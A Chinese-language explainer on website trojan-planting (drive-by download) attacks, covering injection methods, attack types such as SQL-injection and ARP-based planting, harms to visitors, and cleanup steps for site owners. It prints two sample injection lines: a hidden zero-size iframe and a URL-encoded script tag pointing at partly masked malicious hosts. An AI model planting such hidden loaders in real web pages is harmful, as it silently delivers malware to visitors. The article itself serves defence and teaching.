掛馬攻擊的介紹和防御
介紹
掛馬攻擊是指攻擊者在已經(jīng)獲得控制權(quán)的網(wǎng)站的網(wǎng)頁中嵌入惡意代碼(通常是通過IFrame、Script引用來實現(xiàn)),當(dāng)用戶訪問該網(wǎng)頁時,嵌入的惡意代碼利用瀏覽器本身的漏洞、第三方ActiveX漏洞或者其它插件(如Flash、PDF插件等)漏洞,在用戶不知情的情況下下載并執(zhí)行惡意木馬。
方式
目前掛馬的主要方式是通過IFrame與Script嵌入網(wǎng)馬URL,比如下面的掛馬代碼:
- <iframe src=http://www.cq***.com/Img/ width=0 height=0></iframe>
這里通過將IFrame的width與height設(shè)置為0,使得嵌入的網(wǎng)馬URL在網(wǎng)頁上不可見。
- <script src=http://%68%68%6A%32***%63%6E></script>
這里Script里的URL是經(jīng)過URL encode編碼的。通過各種編碼、混淆、客戶端判斷等方式來隱藏、保護(hù)網(wǎng)馬是攻擊者掛馬常用的手段。除了這兩種常見的掛馬方式外,還有如下幾種:
1、 利用JavaScript執(zhí)行各種經(jīng)過編碼、混淆的攻擊代碼進(jìn)行掛馬。
2、 利用網(wǎng)頁跳轉(zhuǎn)、彈出新窗口等方式進(jìn)行掛馬。
3、 利用Flash等媒體封裝的方式進(jìn)行掛馬。
在CSS(層疊樣式表)里可以執(zhí)行JavaScript的瀏覽器中進(jìn)行掛馬。
類型
1、 數(shù)據(jù)庫掛馬
攻擊者利用SQL注入漏洞將掛馬代碼注入到數(shù)據(jù)庫的某些字段中,如果網(wǎng)站頁面使用到這些字段的值,并且沒做適當(dāng)?shù)倪^濾,就有可能導(dǎo)致用戶訪問該網(wǎng)站的頁面時執(zhí)行攻擊者注入的代碼。
2、 文件掛馬
攻擊者直接將掛馬代碼批量寫入服務(wù)端文件里以達(dá)到整站掛馬的目的。
3、 ARP掛馬
在與目標(biāo)站點同一局域網(wǎng)的情況下,攻擊者可以通過控制局域網(wǎng)中任意一臺主機(jī)計算機(jī)發(fā)起ARP欺騙,并將掛馬代碼注入到用戶請求的響應(yīng)頁面上,從而達(dá)到隱蔽的掛馬目的。這樣的攻擊方式在客戶端上也可能發(fā)生,比如用戶所在的局域網(wǎng)有ARP病毒,那么用戶請求的所有網(wǎng)站都有可能被注入掛馬代碼。
4、 服務(wù)端配置文件掛馬
比如IIS里的文件重定向、啟用文檔頁腳、修改IIS映射等掛馬。這類掛馬比較隱蔽,也是掛馬常用的技巧。
5、 XSS掛馬
利用XSS跨站腳本漏洞,將掛馬代碼注入到客戶端頁面以達(dá)到掛馬的目的。0x04 危害
網(wǎng)站被掛馬不僅嚴(yán)重影響到了網(wǎng)站的公眾信譽(yù)度,還可能對訪問該網(wǎng)站的用戶計算機(jī)造成很大的破壞。一般情況下,攻擊者掛馬的目的只有一個:利益。如果用戶訪問被掛網(wǎng)站時,用戶計算機(jī)就有可能被植入病毒,這些病毒會偷盜各類賬號密碼,如網(wǎng)銀賬戶、游戲賬號、郵箱賬號、QQ及MSN賬號等。植入的病毒還可能破壞用戶的本地數(shù)據(jù),從而給用戶帶來巨大的損失,甚至讓用戶計算機(jī)淪為僵尸網(wǎng)絡(luò)中的一員。
修復(fù)思路
1、 通過上面介紹的“掛馬常見類型”迅速分析定位網(wǎng)站被掛馬的原因。
a) 數(shù)據(jù)庫掛馬:及時恢復(fù)數(shù)據(jù)庫或者利用嵌入的掛馬代碼,搜索數(shù)據(jù)庫,定位到掛馬代碼所在的字段值并清除。
b) 文件掛馬:使用工具或者命令遍歷網(wǎng)站所有文本文件,批量清除掛馬代碼。
c) ARP掛馬:查找出局域網(wǎng)中的ARP病毒源頭,清除病毒,并將相應(yīng)計算機(jī)進(jìn)行安全加固或重新安裝系統(tǒng)。
d) 服務(wù)端配置文件掛馬:如果上述的方法找不到掛馬代碼時,就應(yīng)該查找網(wǎng)站服務(wù)端配置文件是否存在異常,并恢復(fù)。
e) XSS掛馬:這類掛馬使用不廣泛,修補(bǔ)網(wǎng)站的XSS漏洞即可解決問題。
及時檢測并修補(bǔ)網(wǎng)站本身以及網(wǎng)站所在服務(wù)端環(huán)境的各類漏洞,從而在根源上降低消除網(wǎng)站被掛馬的風(fēng)險。